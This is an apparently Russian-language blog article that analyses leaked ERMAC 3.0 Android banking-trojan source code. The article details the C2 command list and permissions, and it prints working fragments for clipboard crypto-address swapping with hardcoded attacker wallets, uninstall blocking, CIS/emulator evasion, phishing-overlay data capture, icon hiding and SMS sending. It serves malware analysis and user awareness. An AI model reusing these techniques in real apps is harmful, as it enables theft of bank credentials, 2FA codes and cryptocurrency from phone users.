Разбор Android-трояна ERMAC 3.0: как устроен банковский вор изнутри

В мои руки попал исходный код Android-трояна ERMAC 3.0. Я решил разобрать его по косточкам — не для того чтобы вы пошли грабить бабушек, а чтобы вы понимали, как именно вас пытаются ограбить.

Дисклеймер: Эта статья предназначена исключительно для образовательных целей. Если вы решите использовать эти знания для чего-то противозаконного — вы идиот, и я вас предупредил.

TL;DR

ERMAC 3.0 — банковский Android-троян, который маскируется под приложения доставки еды и крадёт данные банковских карт, криптокошельков и SMS с кодами 2FA. Использует Accessibility Service для перехвата ввода, подмены криптоадресов в буфере обмена и блокировки собственного удаления. Умеет показывать фишинговые окна поверх банковских приложений, красть seed-фразы из MetaMask, Trust Wallet и ещё пяти кошельков, рассылать SMS по вашим контактам. Не работает в СНГ и на эмуляторах — авторы не гадят где живут.

Статья будет полезна безопасникам, Android-разработчикам и всем, кто хочет понимать как устроены современные мобильные угрозы.

Немного истории: как ковид породил монстра

Помните 2020 год? Мы все сидели по домам, заказывали еду через приложения и радовались, что хотя бы пицца приезжает. Пока вы выбирали между "Маргаритой" и "Четырьмя сырами", кто-то очень предприимчивый подумал: "А что если засунуть троян в фейковое приложение доставки?" И засунул.

ERMAC начал свою карьеру именно так — маскируясь под сервисы доставки еды. Польский CERT Orange задокументировал один из таких случаев:

ERMAC Android Trojan — фейковый сайт доставки еды
Фейковый сайт доставки еды, распространяющий троян. Источник: cert.orange.pl

Выглядит прилично, правда? Польский сервис, эстонская компания-владелец. Но когда ребята из CERT пробили домен — вылезло интересное:

ERMAC Android Trojan — WHOIS домена
Данные домена: польская доставка еды на российских серверах. Источник: cert.orange.pl

Серверы в России. Для польского сервиса доставки. С эстонской регистрацией. Как написали ребята из CERT: "Эстонская компания с глобальным присутствием на российских серверах? Даже если бы это было выгодно с точки зрения бизнеса, в данном случае бизнес проиграл бы из-за геополитики. Трёхмесячный SSL-сертификат и аналитика исключительно на Яндексе? Нет... нет."

Действительно, нет.

Источник: cert.orange.pl

Структура зверя

Давайте посмотрим, что внутри этого чудовища:

Android/
├── source/bot/src/main/java/com/amazon/zzz/
│   ├── MainActivity.kt          # Точка входа
│   ├── Payload.kt               # Запуск payload
│   ├── Services/
│   │   ├── srvSccessibility.kt  # Accessibility Service (ядро трояна)
│   │   ├── srvEndlessService.kt # Фоновый сервис
│   │   └── srvLockDevice.kt     # Блокировка устройства
│   ├── Modull/
│   │   ├── module.kt            # Обработка команд от C2
│   │   └── task/                # Файловый менеджер, камера
│   ├── Receivers/               # SMS, Boot receivers
│   ├── Admin/                   # Device Admin
│   └── ApiNm/                   # Связь с C2 сервером
├── Obfuscapk/                   # Обфускация APK
└── apktool.jar                  # Декомпилятор

Выглядит почти профессионально. Почти.

Что умеет этот троян

Первое, что делает ERMAC при запуске — проверяет, где он оказался:

if (utUtils.blockCIS(applicationContext) || utUtils.isRunningOnEmulator()) {
    finish()
    return
}

Если вы из СНГ или запустили на эмуляторе — троян вежливо завершается. Патриоты, мать их. Не гадят там, где живут.

Дальше начинается магия Accessibility Service — это Android API, который изначально создавался чтобы помогать людям с ограниченными возможностями. Троян использует его для автоматических кликов по кнопкам разрешений, перехвата всего ввода, чтения буфера обмена и подмены криптоадресов, блокировки попыток себя удалить, отключения Google Play Protect и чтения всех push-уведомлений. Красота, правда?

Команды с сервера управления

Вот полный список того, что оператор трояна может сделать с вашим телефоном.

SMS и звонки:
sendsms — отправить SMS,
getsms — украсть все SMS,
sendsmsall — разослать SMS по всем контактам,
calling — позвонить на номер,
forwardcall — переадресовать звонки,
startussd — выполнить USSD-запрос.

Кража данных:
getcontacts — украсть контакты,
fmmanager — файловый менеджер,
takephoto — сфоткать вас.

Фишинг и инъекции:
startinject — показать фишинговое окно поверх приложения,
push — отправить фейковое уведомление,
openurl — открыть URL в браузере.

Управление ботом:
startadmin — запросить права администратора,
deleteapplication — удалить приложение,
killme — самоуничтожиться.

Отдельно стоит упомянуть специальные команды для кражи seed-фраз из криптокошельков: Trust Wallet, MetaMask, Exodus, Mycelium, SafePal, Samourai, Blockchain.com. Если у вас есть крипта — они её хотят.

27 разрешений ада

Троян запрашивает 27 разрешений. Посмотрим на самые вкусные.

Опасные разрешения (те, на которые вы должны нажать "разрешить"):
RECEIVE_SMS / READ_SMS / SEND_SMS — перехват 2FA, чтение переписки, рассылка;
READ_CONTACTS — кража контактов, рассылка по списку;
GET_ACCOUNTS — кража email-аккаунтов;
READ_PHONE_STATE — IMEI, номер телефона, оператор;
CALL_PHONE — звонки без вашего ведома.

Специальные разрешения (требуют отдельного включения в настройках):
SYSTEM_ALERT_WINDOW — показ фишинговых окон поверх приложений;
REQUEST_INSTALL_PACKAGES — установка обновлений бота;
REQUEST_DELETE_PACKAGES — удаление антивирусов;
BIND_DEVICE_ADMIN — защита от удаления;
BIND_ACCESSIBILITY_SERVICE — ядро всей операции.

Приложение также слушает 15+ системных событий: загрузку устройства, входящие SMS, включение экрана, изменение заряда батареи, установку и удаление приложений.

Топ-10 изящных решений

Надо отдать должное — некоторые вещи сделаны красиво. С технической точки зрения, разумеется.

1. Подмена криптоадресов на лету

var regex = Regex("\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}")  // BTC
var regex2 = Regex("\\b(0x)?[0-9a-fA-F]{40}")               // ETH

private fun ClipboardManager.setClipBoard(str: String, event: AccessibilityEvent) {
    if (str.contains(regex2)) {
        val str = str.replace(regex2, "0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca")
        this.setPrimaryClip(ClipData.newPlainText(str, str))
        event.source?.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, args)
    }
}

Перехватывает момент, когда вы вводите криптоадрес, распознаёт его regex'ом, подменяет и в буфере обмена, и прямо в поле ввода. Вы копируете свой адрес, вставляете — а там уже адрес злоумышленника. Элегантно.

2. Многоуровневая защита от удаления

private fun blockDeleteBots(packageName: String): Boolean {
    if (className.contains("installedappdetailstop")) {
        blockBack()
        return true
    }
    if (packageName.contains("packageinstaller") && strText.contains(appName)) {
        blockBack()
        return true
    }
    if (className == "deviceadminadd" && isAdminDevice) {
        blockBack()
        return true
    }
}

Перехватывает попытки удаления на трёх уровнях: в настройках приложения, в диалоге удаления и при отключении прав администратора. Пытаетесь удалить — вас выкидывает назад.

3. Поддержка всех производителей

private fun clearCache2() {
    if (manufacturer.contains("samsung")) { /* Samsung-specific */ }
    else if (manufacturer.contains("xiaomi")) { /* MIUI-specific */ }
    else if (manufacturer.contains("huawei")) { /* EMUI-specific */ }
    else if (manufacturer.contains("oppo")) { /* ColorOS-specific */ }
    // ...и так для 10+ производителей
}

Адаптация под Samsung, Xiaomi, Huawei, Oppo и ещё десяток производителей — каждый со своими уникальными ID элементов интерфейса. Кто-то реально потратил время на тестирование.

4. Фейковые push-уведомления

fun sendNotification(mContext: Context, app: String, title: String?, text: String?) {
    val icon = activity.loadIcon(pm)
    bitmap = drawableToBitmap(icon!!)
    notificationBuilder.setSmallIcon(Icon.createWithBitmap(bitmap))
    notificationIntent.putExtra("startpush", app)
}

Динамически загружает иконку целевого приложения и создаёт уведомление, неотличимое от настоящего. При клике открывается фишинговая страница.

5. Двойное шифрование

Один слой AES-CBC для сетевого трафика, другой — для обфускации строк в APK. Разделение ответственности, как в приличном проекте.

6. WebView-мост для инъекций

inner class WebAppInterface {
    @JavascriptInterface
    fun returnResult(data: String) {
        val jsonObject = JSONObject()
        jsonObject.put("application", nameInj)
        jsonObject.put("data", data)
        apiUt.sendLogs(mContext, nameInj, jsonObject.toString(), type)
    }
}

Чистый интерфейс между HTML-фишингом и нативным кодом. Вводите данные карты в фейковое окно — они мгновенно улетают на сервер.

7. Детекция аналитиков

fun blockCIS(context: Context): Boolean {
    return "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]".contains(countrySIM(context))
}

fun isRunningOnEmulator(): Boolean {
    return Build.FINGERPRINT.contains("generic")
            || Build.MODEL.contains("Emulator")
            || Build.MANUFACTURER.contains("Genymotion")
}

Проверка SIM-карты на СНГ-страны плюс детекция эмуляторов. Классика.

8. Dual-SIM поддержка

fun sendSms(context: Context, phoneNumber: String, message: String, simSlotIndex: Int = 0) {
    val subscriptionInfo = subscriptionManager.getActiveSubscriptionInfoForSimSlotIndex(simSlotIndex)
    SmsManager.getSmsManagerForSubscriptionId(subscriptionInfo.subscriptionId)
        .sendTextMessage(phoneNumber, null, message, pendingIntent, deliveredPI)
}

Полная поддержка двух SIM-карт — оператор может выбрать, с какой отправлять SMS.

9. Исчезающая иконка

fun deleteLabelIcon(context: Context) {
    val CTD = ComponentName(context, MainActivity::class.java)
    context.packageManager.setComponentEnabledSetting(
        CTD,
        PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
        PackageManager.DONT_KILL_APP
    )
}

Иконка исчезает из лаунчера, но приложение продолжает работать. Жертва даже не знает, что что-то установлено.

10. Рекурсивный поиск элементов

fun findNodeWithClass(node: AccessibilityNodeInfo?, className: String): List<AccessibilityNodeInfo> {
    val result = ArrayList<AccessibilityNodeInfo>()
    for (i in 0 until node.childCount) {
        val child = node.getChild(i)
        if (child.className.toString().contains(className)) {
            result.add(child)
        } else {
            result.addAll(findNodeWithClass(child, className))
        }
    }
    return result
}

Универсальный обход дерева UI для поиска любых элементов. Базовая, но нужная функция.

Топ-10 позорных решений

А теперь — почему авторы этого трояна всё-таки не получат работу в нормальной компании.

1. Статический IV в шифровании

private val IV: String by lazy { base64Decode("MDEyMzQ1Njc4OWFiY2RlZg==") }
// Декодируется в: "0123456789abcdef"

IV должен быть случайным для каждого сообщения, а здесь он статический и предсказуемый. Первокурсник по криптографии.

2. Захардкоженные криптоадреса

str.replace(regex2, "0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca")
str.replace(regex, "bc1ql34xd8ynty3myfkwaf8jqeth0p4fxkxg673vlf")

Адреса прямо в коде — любой аналитик найдёт их за секунду и занесёт в блеклисты. Должны приходить с сервера.

3. Copy-paste на 10 экранов

} else if (manufacturer.contains("samsung")) {
    // 30 строк кода
} else if (manufacturer.contains("motorola")) {
    // Те же 30 строк
} else if (manufacturer.contains("oppo")) {
    // Опять те же 30 строк

Один и тот же код повторяется 10+ раз с минимальными изменениями. DRY? Не слышали.

4. Пустые catch-блоки

} catch (e: Exception) {
    // Пустота
}

По всему проекту ошибки проглатываются молча. При отладке — ад.

5. Пасхалки с оскорблениями

"Уничтожить_все_человечество" -> { File(...).delete() }
"Путин_красавчик" -> { File(...).delete() }
"Сдохни_тот_кто_разреверсил_это" -> { File(...).delete() }

Детский сад. Эти строки — готовые индикаторы компрометации для любого антивируса.

6. Русские переменные в продакшене

val кэш_епт by lazy { ... }
val сука by lazy { ... }
val убить_всех by lazy { ... }
val сброс_всего_человечества by lazy { ... }
val тупые_реверсы_думают_что_эти_приложения_будем_атаковать = ...

Grep по кириллице — и вот вам происхождение малвари. Гениально.

7. Дублирование функций

// В utUtils.kt:
fun stopSound(context: Context) { ... }

// В udUtils.kt - ИДЕНТИЧНЫЙ код:
fun stopSound(context: Context) { ... }

Одна функция, два файла, полное дублирование. Зачем?

8. Magic numbers

val number = c.getString(2)   // Что такое 2?
val stexts = c.getString(12)  // 12?
val text = c.getString(13)    // 13?

Индексы колонок без констант и комментариев. Хрупкий код, который сломается при первом изменении.

9. Закомментированный код в продакшене

fun checkProtect(context: Context) {
    try {
//            SafetyNet.getClient(context)
//                .isVerifyAppsEnabled
//                .addOnCompleteListener { task ->
//                    ...
//                }
    } catch (ex: Exception) {
        SharedPreferencess.checkProtect = "2"
    }
}

20+ строк закомментированного кода. Функция ничего не делает.

10. Плейсхолдеры в продакшене

val url: String = if (BuildConfig.DEBUG) "http://10.0.2.2:3434" else "%INSERT_URL_HERE%"
val k: String = if (BuildConfig.DEBUG) "..." else "%INSERT_KEY_HERE%"

Забыл заменить — бот не работает. Никакой валидации.

Считаем бабки

Помните захардкоженные криптоадреса, за которые я ругал авторов? Давайте посмотрим, сколько они наворовали.

Общий объём транзакций — около двух тысяч долларов. Две тысячи долларов.

Ребята написали троян с 27 разрешениями, поддержкой десяти производителей смартфонов, двойным шифрованием, кражей из семи криптокошельков, веб-билдером на PHP — и заработали меньше, чем джун за месяц на испытательном сроке. Это даже не смешно, это грустно. Может, поэтому и не взяли на нормальную работу?

Веб-билдер: собери трояна за 5 минут

В комплекте идёт веб-интерфейс на PHP для сборки кастомных версий. Выбираешь, под какое приложение маскироваться: Telegram, Facebook, Instagram, Chrome, YouTube, WhatsApp, TikTok.

Нажимаешь кнопку — получаешь готовый APK. Конвейер.

Вывод

С точки зрения архитектуры видно: это проект на один раз — срубить бабла и съебаться. Никакого долгосрочного планирования, код написан на коленке, половина — copy-paste, переменные на русском матом.

Но штука в том, что оно работает. Тысячи людей уже потеряли деньги из-за таких троянов — не потому что код хороший, а потому что люди кликают "Разрешить" не читая, устанавливают приложения из непонятных источников и верят, что доставка еды реально требует права администратора устройства.

Не будьте такими людьми.


В следующих частях разберём PHP-панель управления этим зверинцем и попробуем запустить её на виртуалке.